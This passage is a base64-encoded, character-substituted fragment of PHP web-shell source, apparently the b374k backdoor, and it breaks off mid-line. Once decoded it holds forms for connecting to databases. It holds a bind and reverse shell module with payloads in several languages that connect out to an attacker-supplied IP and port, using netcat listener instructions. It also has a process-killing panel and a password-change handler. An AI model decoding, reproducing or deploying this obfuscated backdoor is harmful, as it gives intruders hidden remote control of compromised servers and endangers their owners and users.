ogICAgICAgICAgICA0ZihmM25jdDQybl81eDRzdHMoIjJjNF9jMm5uNWN0IikpICRzX3NxbGw0c3RbIjJyMWNsNSJdID0gIkMybm41Y3QgdDIgMnIxY2w1IDxzcDFuIGNsMXNzPSdkNXNjJyBzdHlsNT0nZjJudC1zNHo1OjZhcHg7Jz4tIDNzNG5nIDJjNF8qPC9zcDFuPiI7DQogICAgICAgICAgICA0ZihmM25jdDQybl81eDRzdHMoInNxbDR0NV8ycDVuIikpICRzX3NxbGw0c3RbInNxbDR0NSJdID0gIkMybm41Y3QgdDIgU1FMNHQ1IDxzcDFuIGNsMXNzPSdkNXNjJyBzdHlsNT0nZjJudC1zNHo1OjZhcHg7Jz4tIDNzNG5nIHNxbDR0NV8qPC9zcDFuPiI7DQogICAgICAgICAgICA0ZihjbDFzc181eDRzdHMoIlNRTDR0NW8iKSkgJHNfc3FsbDRzdFsic3FsNHQ1byJdID0gIkMybm41Y3QgdDIgU1FMNHQ1byA8c3AxbiBjbDFzcz0nZDVzYycgc3R5bDU9J2YybnQtczR6NTo2YXB4Oyc+LSAzczRuZyBjbDFzcyBTUUw0dDVvPC9zcDFuPiI7DQogICAgICAgICAgICA0ZihmM25jdDQybl81eDRzdHMoIjJkYmNfYzJubjVjdCIpKSAkc19zcWxsNHN0WyIyZGJjIl0gPSAiQzJubjVjdCB2NDEgT0RCQyA8c3AxbiBjbDFzcz0nZDVzYycgc3R5bDU9J2YybnQtczR6NTo2YXB4Oyc+LSAzczRuZyAyZGJjXyo8L3NwMW4+IjsNCiAgICAgICAgICAgIDRmKGNsMXNzXzV4NHN0cygiUERPIikpICRzX3NxbGw0c3RbInBkMiJdID0gIkMybm41Y3QgdjQxIFBETyA8c3AxbiBjbDFzcz0nZDVzYycgc3R5bDU9J2YybnQtczR6NTo2YXB4Oyc+LSAzczRuZyBjbDFzcyBQRE88L3NwMW4+IjsNCg0KICAgICAgICAgICAgZjJyNTFjaCgkc19zcWxsNHN0IDFzICRzX3NxbFsndHlwNSddPT4kc19zcWx0NHRsNSl7DQogICAgICAgICAgICAgICAgNGYoJHNfc3FsWyd0eXA1J109PSIyZGJjIiB8fCAkc19zcWxbJ3R5cDUnXT09InBkMiIpew0KICAgICAgICAgICAgICAgICAgICAkc19yNXMzbHQgLj0gIjxkNHYgY2wxc3M9J215YjJ4Jz48aGE+Ii4kc19zcWx0NHRsNS4iPC9oYT4NCgkJCQkJPGYycm0gMWN0NDJuPSciLiRzX3M1bGYuIicgbTV0aDJkPSdwMnN0JyAvPg0KCQkJCQk8dDFibDUgY2wxc3M9J215YjJ4dGJsJz4NCgkJCQkJPHRyPjx0ZCBzdHlsNT0ndzRkdGg6NjcwcHg7Jz5EU04gLyBDMm5uNWN0NDJuIFN0cjRuZzwvdGQ+PHRkPjw0bnAzdCBzdHlsNT0ndzRkdGg6NjAwJTsnIGNsMXNzPSc0bnAzdHonIHR5cDU9J3Q1eHQnIG4xbTU9J3NxbGgyc3QnIHYxbDM1PScnIC8+PC90ZD48L3RyPg0KCQkJCQk8dHI+PHRkPlVzNXJuMW01PC90ZD48dGQ+PDRucDN0IHN0eWw1PSd3NGR0aDo2MDAlOycgY2wxc3M9JzRucDN0eicgdHlwNT0ndDV4dCcgbjFtNT0nc3FsM3M1cicgdjFsMzU9JycgLz48L3RkPjwvdHI+DQoJCQkJCTx0cj48dGQ+UDFzc3cycmQ8L3RkPjx0ZD48NG5wM3Qgc3R5bDU9J3c0ZHRoOjYwMCU7JyBjbDFzcz0nNG5wM3R6JyB0eXA1PSdwMXNzdzJyZCcgbjFtNT0nc3FscDFzcycgdjFsMzU9JycgLz48L3RkPjwvdHI+DQoJCQkJCTwvdDFibDU+DQoJCQkJCTw0bnAzdCB0eXA1PSdzM2JtNHQnIG4xbTU9J2Mybm41Y3QnIGNsMXNzPSc0bnAzdHpiM3QnIHYxbDM1PSdDMm5uNWN0ICEnIHN0eWw1PSd3NGR0aDo2YTBweDtoNTRnaHQ6bzBweDttMXJnNG46NjBweCBhcHggMCBhcHg7JyAvPg0KCQkJCQk8NG5wM3QgdHlwNT0naDRkZDVuJyBuMW01PSdzcWx0eXA1JyB2MWwzNT0nIi4kc19zcWxbJ3R5cDUnXS4iJyAvPg0KCQkJCQk8NG5wM3QgdHlwNT0naDRkZDVuJyBuMW01PSdzcWw0bjR0JyB2MWwzNT0nNG40dCcgLz4NCgkJCQkJPDRucDN0IHR5cDU9J2g0ZGQ1bicgbjFtNT0neCcgdjFsMzU9J2RiJyAvPg0KCQkJCQk8L2Yycm0+DQoJCQkJCTwvZDR2PiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDVsczU0Zigkc19zcWxbJ3R5cDUnXT09InNxbDR0NSIgfHwgJHNfc3FsWyd0eXA1J109PSJzcWw0dDVvIil7DQogICAgICAgICAgICAgICAgICAgICRzX3I1czNsdCAuPSAiPGQ0diBjbDFzcz0nbXliMngnPjxoYT4iLiRzX3NxbHQ0dGw1LiI8L2hhPg0KCQkJCQk8ZjJybSAxY3Q0Mm49JyIuJHNfczVsZi4iJyBtNXRoMmQ9J3Ayc3QnIC8+DQoJCQkJCTx0MWJsNSBjbDFzcz0nbXliMnh0YmwnPg0KCQkJCQk8dHI+PHRkIHN0eWw1PSd3NGR0aDo2NzBweDsnPkRCIEY0bDU8L3RkPjx0ZD48NG5wM3Qgc3R5bDU9J3c0ZHRoOjYwMCU7JyBjbDFzcz0nNG5wM3R6JyB0eXA1PSd0NXh0JyBuMW01PSdzcWxoMnN0JyB2MWwzNT0nJyAvPjwvdGQ+PC90cj4NCgkJCQkJPC90MWJsNT4NCgkJCQkJPDRucDN0IHR5cDU9J3MzYm00dCcgbjFtNT0nYzJubjVjdCcgY2wxc3M9JzRucDN0emIzdCcgdjFsMzU9J0Mybm41Y3QgIScgc3R5bDU9J3c0ZHRoOjZhMHB4O2g1NGdodDpvMHB4O20xcmc0bjo2MHB4IGFweCAwIGFweDsnIC8+DQoJCQkJCTw0bnAzdCB0eXA1PSdoNGRkNW4nIG4xbTU9J3NxbHR5cDUnIHYxbDM1PSciLiRzX3NxbFsndHlwNSddLiInIC8+DQoJCQkJCTw0bnAzdCB0eXA1PSdoNGRkNW4nIG4xbTU9J3NxbDRuNHQnIHYxbDM1PSc0bjR0JyAvPg0KCQkJCQk8NG5wM3QgdHlwNT0naDRkZDVuJyBuMW01PSd4JyB2MWwzNT0nZGInIC8+DQoJCQkJCTwvZjJybT4NCgkJCQkJPC9kNHY+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNWxzNXsNCiAgICAgICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49ICI8ZDR2IGNsMXNzPSdteWIyeCc+PGhhPiIuJHNfc3FsdDR0bDUuIjwvaGE+DQoJCQkJCTxmMnJtIDFjdDQybj0nIi4kc19zNWxmLiInIG01dGgyZD0ncDJzdCcgLz4NCgkJCQkJPHQxYmw1IGNsMXNzPSdteWIyeHRibCc+DQoJCQkJCTx0cj48dGQgc3R5bDU9J3c0ZHRoOjY3MHB4Oyc+SDJzdDwvdGQ+PHRkPjw0bnAzdCBzdHlsNT0ndzRkdGg6NjAwJTsnIGNsMXNzPSc0bnAzdHonIHR5cDU9J3Q1eHQnIG4xbTU9J3NxbGgyc3QnIHYxbDM1PScnIC8+PC90ZD48L3RyPg0KCQkJCQk8dHI+PHRkPlVzNXJuMW01PC90ZD48dGQ+PDRucDN0IHN0eWw1PSd3NGR0aDo2MDAlOycgY2wxc3M9JzRucDN0eicgdHlwNT0ndDV4dCcgbjFtNT0nc3FsM3M1cicgdjFsMzU9JycgLz48L3RkPjwvdHI+DQoJCQkJCTx0cj48dGQ+UDFzc3cycmQ8L3RkPjx0ZD48NG5wM3Qgc3R5bDU9J3c0ZHRoOjYwMCU7JyBjbDFzcz0nNG5wM3R6JyB0eXA1PSdwMXNzdzJyZCcgbjFtNT0nc3FscDFzcycgdjFsMzU9JycgLz48L3RkPjwvdHI+DQoJCQkJCTx0cj48dGQ+UDJydCAoMnB0NDJuMWwpPC90ZD48dGQ+PDRucDN0IHN0eWw1PSd3NGR0aDo2MDAlOycgY2wxc3M9JzRucDN0eicgdHlwNT0ndDV4dCcgbjFtNT0nc3FscDJydCcgdjFsMzU9JycgLz48L3RkPjwvdHI+DQoJCQkJCTwvdDFibDU+DQoJCQkJCTw0bnAzdCB0eXA1PSdzM2JtNHQnIG4xbTU9J2Mybm41Y3QnIGNsMXNzPSc0bnAzdHpiM3QnIHYxbDM1PSdDMm5uNWN0ICEnIHN0eWw1PSd3NGR0aDo2YTBweDtoNTRnaHQ6bzBweDttMXJnNG46NjBweCBhcHggMCBhcHg7JyAvPg0KCQkJCQk8NG5wM3QgdHlwNT0naDRkZDVuJyBuMW01PSdzcWx0eXA1JyB2MWwzNT0nIi4kc19zcWxbJ3R5cDUnXS4iJyAvPg0KCQkJCQk8NG5wM3QgdHlwNT0naDRkZDVuJyBuMW01PSdzcWw0bjR0JyB2MWwzNT0nNG40dCcgLz4NCgkJCQkJPDRucDN0IHR5cDU9J2g0ZGQ1bicgbjFtNT0neCcgdjFsMzU9J2RiJyAvPg0KCQkJCQk8L2Yycm0+DQoJCQkJCTwvZDR2PiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfSAvLyBiNG5kIDFuZCByNXY1cnM1IHNoNWxsDQogICAgNWxzNTRmKDRzczV0KCRfR1BbJ3gnXSkgJiYgKCRfR1BbJ3gnXT09J3JzJykpew0KICAgICAgICAvLyByNXMyM3JjNXMgJHNfcnNfcGwgJHNfcnNfcHkgJHNfcnNfcmIgJHNfcnNfanMgJHNfcnNfYyAkc19yc19qMXYxICRzX3JzX2oxdjEgJHNfcnNfdzRuICRzX3JzX3BocA0KICAgICAgICAkc19yc2gyc3QgPSAkc19zNXJ2NXJfNHA7DQoNCiAgICAgICAgJHNfcnNwMnJ0ID0gIjZvNmFvIjsgLy8gZDVmMTNsdCBwMnJ0DQogICAgICAgICRzX3JzcDVzMW4xID0gIlByNXNzICYjbzk7ICBHMiAhICAmI285OyBiM3R0Mm4gMW5kIHIzbiAmI285OyAgbmMgPDQ+czVydjVyXzRwPC80PiA8ND5wMnJ0PC80PiAgJiNvOTsgMm4geTIzciBjMm1wM3Q1ciI7DQogICAgICAgICRzX3JzcDVzMW5iID0gIlIzbiAmI285OyAgbmMgLWwgLXYgLXAgPDQ+cDJydDwvND4gICYjbzk7IDJuIHkyM3IgYzJtcDN0NXIgMW5kIHByNXNzICYjbzk7ICBHMiAhICAmI285OyBiM3R0Mm4iOw0KICAgICAgICAkc19yc181cnIgPSAiIjsNCg0KICAgICAgICAkc19yc2I0bmQgPSAkc19yc2IxY2sgPSAxcnIxeSgpOw0KDQogICAgICAgICRzX3JzYjRuZFsiYjRuZF9waHAiXSA9ICJCNG5kIFNoNWxsIDxzcDFuIGNsMXNzPSdkNXNjJyBzdHlsNT0nZjJudC1zNHo1OjZhcHg7Jz4tIHBocDwvc3Axbj4iOw0KICAgICAgICAkc19yc2IxY2tbImIxY2tfcGhwIl0gPSAiUjV2NXJzNSBTaDVsbCA8c3AxbiBjbDFzcz0nZDVzYycgc3R5bDU9J2YybnQtczR6NTo2YXB4Oyc+LSBwaHA8L3NwMW4+IjsNCg0KICAgICAgICAkc18xY2M1c3MgPSAxcnIxeSgic19weXRoMm4iPT4icHkiLCAic19wNXJsIj0+InBsIiwgInNfcjNieSI9PiJyYiIsICJzX24yZDUiPT4ianMiLCAic19uMmQ1anMiPT4ianMiLCAic19nY2MiPT4iYyIsICJzX2oxdjFjIj0+ImoxdjEiKTsNCiAgICAgICAgZjJyNTFjaCgkc18xY2M1c3MgMXMgJGs9PiR2KXsNCiAgICAgICAgICAgIDRmKDRzczV0KCQkaykpew0KICAgICAgICAgICAgICAgICRzX3QgPSA1eHBsMmQ1KCJfIiwgJGspOw0KICAgICAgICAgICAgICAgICRzX3JzYjRuZFsiYjRuZF8iLiR2XSA9ICJCNG5kIFNoNWxsIDxzcDFuIGNsMXNzPSdkNXNjJyBzdHlsNT0nZjJudC1zNHo1OjZhcHg7Jz4tICIuJHNfdFs2XS4iPC9zcDFuPiI7DQogICAgICAgICAgICAgICAgJHNfcnNiMWNrWyJiMWNrXyIuJHZdID0gIlI1djVyczUgU2g1bGwgPHNwMW4gY2wxc3M9J2Q1c2MnIHN0eWw1PSdmMm50LXM0ejU6NmFweDsnPi0gIi4kc190WzZdLiI8L3NwMW4+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIDRmKCRzX3c0bil7DQogICAgICAgICAgICAkc19yc2I0bmRbImI0bmRfdzRuIl0gPSAiQjRuZCBTaDVsbCA8c3AxbiBjbDFzcz0nZDVzYycgc3R5bDU9J2YybnQtczR6NTo2YXB4Oyc+LSB3NG5kMndzIDV4NWMzdDFibDU8L3NwMW4+IjsNCiAgICAgICAgICAgICRzX3JzYjFja1siYjFja193NG4iXSA9ICJSNXY1cnM1IFNoNWxsIDxzcDFuIGNsMXNzPSdkNXNjJyBzdHlsNT0nZjJudC1zNHo1OjZhcHg7Jz4tIHc0bmQyd3MgNXg1YzN0MWJsNTwvc3Axbj4iOw0KICAgICAgICB9DQogICAgICAgICRzX3JzbDRzdCA9IDFycjF5X201cmc1KCRzX3JzYjRuZCwkc19yc2IxY2spOw0KDQogICAgICAgIDRmKCFANHNfd3I0dDFibDUoJHNfY3dkKSkgJHNfcjVzM2x0IC49IG4ydDRmKCJENHI1Y3QycnkgIi4kc19jd2QuIiA0cyBuMnQgd3I0dDFibDUsIHBsNTFzNSBjaDFuZzUgdDIgMSB3cjR0MWJsNSAybjUiKTsNCg0KICAgICAgICBmMnI1MWNoKCRzX3JzbDRzdCAxcyAkc19yc3R5cDU9PiRzX3JzdDR0bDUpew0KICAgICAgICAgICAgJHNfc3BsNHQgPSA1eHBsMmQ1KCJfIiwkc19yc3R5cDUpOw0KICAgICAgICAgICAgNGYoJHNfc3BsNHRbMF09PSJiNG5kIil7DQogICAgICAgICAgICAgICAgJHNfcnNwNXMxbiA9ICRzX3JzcDVzMW4xOw0KICAgICAgICAgICAgICAgICRzX3JzZDRzMWJsNWQgPSAiZDRzMWJsNWQ9J2Q0czFibDVkJyI7DQogICAgICAgICAgICAgICAgJHNfcnN0MXJnNXQgPSAkc19zNXJ2NXJfNHA7DQogICAgICAgICAgICAgICAgJHNfbDFiNWw0cCA9ICJTNXJ2NXIgSVAiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWxzNTRmKCRzX3NwbDR0WzBdPT0iYjFjayIpew0KICAgICAgICAgICAgICAgICRzX3JzcDVzMW4gPSAkc19yc3A1czFuYjsNCiAgICAgICAgICAgICAgICAkc19yc2Q0czFibDVkID0gIiI7DQogICAgICAgICAgICAgICAgJHNfcnN0MXJnNXQgPSAkc19teV80cDsNCiAgICAgICAgICAgICAgICAkc19sMWI1bDRwID0gIlQxcmc1dCBJUCI7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIDRmKDRzczV0KCRfR1BbJHNfcnN0eXA1XSkpew0KICAgICAgICAgICAgICAgIDRmKDRzczV0KCRfR1BbInJzaDJzdF8iLiRzX3JzdHlwNV0pKSAkc19yc2gyc3RfID0gJF9HUFsicnNoMnN0XyIuJHNfcnN0eXA1XTsNCiAgICAgICAgICAgICAgICA0Zig0c3M1dCgkX0dQWyJyc3AycnRfIi4kc19yc3R5cDVdKSkgJHNfcnNwMnJ0XyA9ICRfR1BbInJzcDJydF8iLiRzX3JzdHlwNV07DQoNCiAgICAgICAgICAgICAgICA0Zigkc19zcGw0dFswXT09ImI0bmQiKSAkc19yc3Qxcmc1dF9wMWNrNWQgPSAkc19yc3AycnRfOw0KICAgICAgICAgICAgICAgIDVsczU0Zigkc19zcGw0dFswXT09ImIxY2siKSAkc19yc3Qxcmc1dF9wMWNrNWQgPSAkc19yc3AycnRfLiIgIi4kc19yc2gyc3RfOw0KDQogICAgICAgICAgICAgICAgNGYoJHNfc3BsNHRbNl09PSJwbCIpICRzX3JzYzJkNSA9ICRzX3JzX3BsOw0KICAgICAgICAgICAgICAgIDVsczU0Zigkc19zcGw0dFs2XT09InB5IikgJHNfcnNjMmQ1ID0gJHNfcnNfcHk7DQogICAgICAgICAgICAgICAgNWxzNTRmKCRzX3NwbDR0WzZdPT0icmIiKSAkc19yc2MyZDUgPSAkc19yc19yYjsNCiAgICAgICAgICAgICAgICA1bHM1NGYoJHNfc3BsNHRbNl09PSJqcyIpICRzX3JzYzJkNSA9ICRzX3JzX2pzOw0KICAgICAgICAgICAgICAgIDVsczU0Zigkc19zcGw0dFs2XT09ImMiKSAkc19yc2MyZDUgPSAkc19yc19jOw0KICAgICAgICAgICAgICAgIDVsczU0Zigkc19zcGw0dFs2XT09ImoxdjEiKSAkc19yc2MyZDUgPSAkc19yc19qMXYxOw0KICAgICAgICAgICAgICAgIDVsczU0Zigkc19zcGw0dFs2XT09Inc0biIpICRzX3JzYzJkNSA9ICRzX3JzX3c0bjsNCiAgICAgICAgICAgICAgICA1bHM1NGYoJHNfc3BsNHRbNl09PSJwaHAiKSAkc19yc2MyZDUgPSAkc19yc19waHA7DQoNCiAgICAgICAgICAgICAgICAkc19iM2ZmID0gcnMoJHNfcnN0eXA1LCRzX3JzdDFyZzV0X3AxY2s1ZCwkc19yc2MyZDUpOw0KICAgICAgICAgICAgICAgIDRmKCRzX2IzZmYhPSIiKSAkc19yc181cnIgPSBuMnQ0Zihoc3MoJHNfYjNmZikpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHNfcjVzM2x0IC49ICI8ZDR2IGNsMXNzPSdteWIyeCc+PGhhPiIuJHNfcnN0NHRsNS4iPC9oYT4NCgkJCTxmMnJtIDFjdDQybj0nIi4kc19zNWxmLiInIG01dGgyZD0ncDJzdCcgLz4NCgkJCTx0MWJsNSBjbDFzcz0nbXliMnh0YmwnPg0KCQkJPHRyPjx0ZCBzdHlsNT0ndzRkdGg6NjAwcHg7Jz4iLiRzX2wxYjVsNHAuIjwvdGQ+PHRkPjw0bnAzdCAiLiRzX3JzZDRzMWJsNWQuIiBzdHlsNT0ndzRkdGg6NjAwJTsnIGNsMXNzPSc0bnAzdHonIHR5cDU9J3Q1eHQnIG4xbTU9J3JzaDJzdF8iLiRzX3JzdHlwNS4iJyB2MWwzNT0nIi5oc3MoJHNfcnN0MXJnNXQpLiInIC8+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5QMnJ0PC90ZD48dGQ+PDRucDN0IHN0eWw1PSd3NGR0aDo2MDAlOycgY2wxc3M9JzRucDN0eicgdHlwNT0ndDV4dCcgbjFtNT0ncnNwMnJ0XyIuJHNfcnN0eXA1LiInIHYxbDM1PSciLmhzcygkc19yc3AycnQpLiInIC8+PC90ZD48L3RyPg0KCQkJPC90MWJsNT4NCgkJCTw0bnAzdCB0eXA1PSdzM2JtNHQnIG4xbTU9JyIuJHNfcnN0eXA1LiInIGNsMXNzPSc0bnAzdHpiM3QnIHYxbDM1PSdHMiAhJyBzdHlsNT0ndzRkdGg6NmEwcHg7aDU0Z2h0Om8wcHg7bTFyZzRuOjYwcHggYXB4IDAgYXB4OycgLz4NCgkJCSZuYnNwOyZuYnNwOzxzcDFuPiIuJHNfcnNwNXMxbi4iPC9zcDFuPg0KCQkJPDRucDN0IHR5cDU9J2g0ZGQ1bicgbjFtNT0neCcgdjFsMzU9J3JzJyAvPg0KCQkJPC9mMnJtPg0KCQkJPC9kNHY+IjsNCiAgICAgICAgfQ0KICAgICAgICAkc19yNXMzbHQgPSAkc19yc181cnIuJHNfcjVzM2x0Ow0KICAgIH0gLy8gdDFzayBtMW4xZzVyDQogICAgNWxzNTRmKDRzczV0KCRfR1BbJ3gnXSkgJiYgKCRfR1BbJ3gnXT09J3BzJykpew0KICAgICAgICAkc19iM2ZmID0gIiI7DQogICAgICAgIC8vIGs0bGwgcHIyYzVzcyBzcDVjNGY0NWQgYnkgcDRkDQogICAgICAgIDRmKDRzczV0KCRfR1BbJ3A0ZCddKSl7DQogICAgICAgICAgICAkc19wID0gdHI0bSgkX0dQWydwNGQnXSwifCIpOw0KICAgICAgICAgICAgJHNfcDFyciA9IDV4cGwyZDUoInwiLCAkc19wKTsNCg0KICAgICAgICAgICAgZjJyNTFjaCgkc19wMXJyIDFzICRzX3Apew0KICAgICAgICAgICAgICAgIDRmKGYzbmN0NDJuXzV4NHN0cygicDJzNHhfazRsbCIpKSAkc19iM2ZmIC49IChwMnM0eF9rNGxsKCRzX3AsJzknKSk/IG4ydDRmKCJQcjJjNXNzIHc0dGggcDRkICIuJHNfcC4iIGgxcyBiNTVuIHMzY2M1c3NmM2xseSBrNGxsNWQiKTpuMnQ0ZigiVW4xYmw1IHQyIGs0bGwgcHIyYzVzcyB3NHRoIHA0ZCAiLiRzX3ApOw0KICAgICAgICAgICAgICAgIDVsczV7DQogICAgICAgICAgICAgICAgICAgIDRmKCEkc193NG4pICRzX2IzZmYgLj0gbjJ0NGYoNXg1KCJrNGxsIC05ICIuJHNfcCkpOw0KICAgICAgICAgICAgICAgICAgICA1bHM1ICRzX2IzZmYgLj0gbjJ0NGYoNXg1KCJ0MXNrazRsbCAvRiAvUElEICIuJHNfcCkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIDRmKCEkc193NG4pICRzX2ggPSAicHMgMTN4IjsgLy8gbjR4DQogICAgICAgIDVsczUgJHNfaCA9ICJ0MXNrbDRzdCAvViAvRk8gY3N2IjsgLy8gdzRuDQogICAgICAgICRzX3djMjNudCA9IDY2Ow0KICAgICAgICAkc193NXhwbDJkNSA9ICIgIjsNCiAgICAgICAgNGYoJHNfdzRuKSAkc193NXhwbDJkNSA9ICJcIixcIiI7DQoNCiAgICAgICAgJHNfcjVzID0gNXg1KCRzX2gpOw0KICAgICAgICA0Zih0cjRtKCRzX3I1cyk9PScnKSAkc19yNXMzbHQgPSBuMnQ0ZigiRXJyMnIgZzV0dDRuZyBwcjJjNXNzIGw0c3QiKTsNCiAgICAgICAgNWxzNXsNCiAgICAgICAgICAgIDRmKCRzX2IzZmYhPSIiKSAkc19yNXMzbHQgPSAkc19iM2ZmOw0KICAgICAgICAgICAgJHNfcjVzM2x0IC49ICI8dDFibDUgY2wxc3M9JzV4cGwycjUgczJydDFibDUnPiI7DQogICAgICAgICAgICA0ZighJHNfdzRuKSAkc19yNXMgPSBwcjVnX3I1cGwxYzUoJyNcICsjJywnICcsJHNfcjVzKTsNCg0KICAgICAgICAgICAgJHNfcHMxcnIgPSA1eHBsMmQ1KCJcbiIsJHNfcjVzKTsNCiAgICAgICAgICAgICRzX2Y0ID0gdHIzNTsNCiAgICAgICAgICAgICRzX3RibGMyM250ID0gMDsNCg0KICAgICAgICAgICAgJHNfY2g1Y2sgPSA1eHBsMmQ1KCRzX3c1eHBsMmQ1LCRzX3BzMXJyWzBdKTsNCiAgICAgICAgICAgICRzX3djMjNudCA9IGMyM250KCRzX2NoNWNrKTsNCg0KICAgICAgICAgICAgZjJyNTFjaCgkc19wczFyciAxcyAkc19wczEpew0KICAgICAgICAgICAgICAgIDRmKHRyNG0oJHNfcHMxKSE9Jycpew0KICAgICAgICAgICAgICAgICAgICA0Zigkc19mNCl7DQogICAgICAgICAgICAgICAgICAgICAgICAkc19mNCA9IGYxbHM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgJHNfcHNsbiA9IDV4cGwyZDUoJHNfdzV4cGwyZDUsICRzX3BzMSwgJHNfd2MyM250KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzX3I1czNsdCAuPSAiPHRyPjx0aCBzdHlsNT0ndzRkdGg6YXVweDsnIGNsMXNzPSdzMnJ0dDFibDVfbjJzMnJ0Jz48L3RoPjx0aCBjbDFzcz0nczJydHQxYmw1X24yczJydCc+MWN0NDJuPC90aD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkc19wc2xuIDFzICRzX3ApICRzX3I1czNsdCAuPSAiPHRoPiIudHI0bSh0cjRtKHN0cnQybDJ3NXIoJHNfcCkpICwiXCIiKS4iPC90aD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49ICI8L3RyPiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgNWxzNXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzX3BzbG4gPSA1eHBsMmQ1KCRzX3c1eHBsMmQ1LCAkc19wczEsICRzX3djMjNudCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkc19yNXMzbHQgLj0gIjx0cj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHNfdGJsYzIzbnQgPSAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkc19wc2xuIDFzICRzX3Apew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzX3A0ZCA9IHRyNG0odHI0bSgkc19wc2xuWzZdKSwiXCIiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc19wNGQzbjRxID0gczNic3RyKG1kaSgkc19wNGQpLDAsOCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYodHI0bSgkc19wKT09IiIpICRzX3AgPSAiJm5ic3A7IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0Zigkc190YmxjMjNudCA9PSAwKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49ICI8dGQgc3R5bDU9J3Q1eHQtMWw0Z246YzVudDVyO3Q1eHQtNG5kNW50OnVweDsnPjw0bnAzdCA0ZD0nIi4kc19wNGQzbjRxLiInIG4xbTU9J2NiMngnIHYxbDM1PSciLiRzX3A0ZC4iJyB0eXA1PSdjaDVja2IyeCcgY2wxc3M9J2Nzcy1jaDVja2IyeCcgMm5jaDFuZzU9J2g0bDR0NSh0aDRzKTsnIC8+PGwxYjVsIGYycj0nIi4kc19wNGQzbjRxLiInIGNsMXNzPSdjc3MtbDFiNWwnPjwvbDFiNWw+PC90ZD48dGQgY2wxc3M9J2M1Jz48MSBocjVmPSciLiRzX3M1bGYuIng9cHMmcDRkPSIuJHNfcDRkLiInPms0bGw8LzE+PC90ZD48dGQgY2wxc3M9J2M1Jz4iLnRyNG0odHI0bSgkc19wKSAsIlwiIikuIjwvdGQ+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNfdGJsYzIzbnQrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNfdGJsYzIzbnQrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHNfdGJsYzIzbnQgPT0gYzIzbnQoJHNfcHNsbikpICRzX3I1czNsdCAuPSAiPHRkIGNsMXNzPSdsNSc+Ii50cjRtKHRyNG0oJHNfcCkgLCJcIiIpLiI8L3RkPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczUgJHNfcjVzM2x0IC49ICI8dGQgY2wxc3M9J2M1Jz4iLnRyNG0odHI0bSgkc19wKSAsIlwiIikuIjwvdGQ+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkc19yNXMzbHQgLj0gIjwvdHI+IjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRjMmxzcDFuID0gYzIzbnQoJHNfcHNsbikrNjsNCiAgICAgICAgICAgICRzX3I1czNsdCAuPSAiPHRmMjJ0Pjx0ciBjbDFzcz0nY2IyeF9zNWw1Y3Q1ZCc+PHRkIGNsMXNzPSdjYjJ4XzFsbCc+DQoJCQk8ZjJybSAxY3Q0Mm49JyIuJHNfczVsZi4iJyBtNXRoMmQ9J3Ayc3QnPjw0bnAzdCA0ZD0nY2g1Y2sxbGxsJyB0eXA1PSdjaDVja2IyeCcgbjFtNT0nMWIyeCcgY2wxc3M9J2Nzcy1jaDVja2IyeCcgMm5jbDRjaz0nY2g1Y2sxbGwoKTsnIC8+PGwxYjVsIGYycj0nY2g1Y2sxbGxsJyBjbDFzcz0nY3NzLWwxYjVsJz48L2wxYjVsPjwvZjJybT4NCgkJCTwvdGQ+PHRkIHN0eWw1PSd0NXh0LTRuZDVudDo2MHB4O3AxZGQ0bmc6YXB4OycgYzJsc3Axbj0iLiRjMmxzcDFuLiI+PDEgaHI1Zj0najF2MXNjcjRwdDogcGs0bGwoKTsnPms0bGwgczVsNWN0NWQgPHNwMW4gNGQ9J3QydDFsX3M1bDVjdDVkJz48L3NwMW4+PC8xPjwvdGQ+DQoJCQk8L3RyPjwvdGYyMnQ+PC90MWJsNT4iOw0KICAgICAgICB9DQogICAgfQ0KICAgIDVsczU0Zig0c3M1dCgkX0dQWyd4J10pICYmICgkX0dQWyd4J109PSdwMXNzJykpew0KICAgICAgICA0Zig0c3M1dCgkX0dQWydzM2JtNHRuNXdwMXNzJ10pKXsNCiAgICAgICAgICAgICRuNXdwMXNzID0gNHNzNXQoJF9HUFsnbjV3cDFzcyddKT8gdHI0bSgkX0dQWyduNXdwMXNzJ10pOiIiOw0KICAgICAgICAgICAgJG41d3Axc3N4ID0gNHNzNXQoJF9HUFsnbjV3cDFzc3gnXSk/IHRyNG0o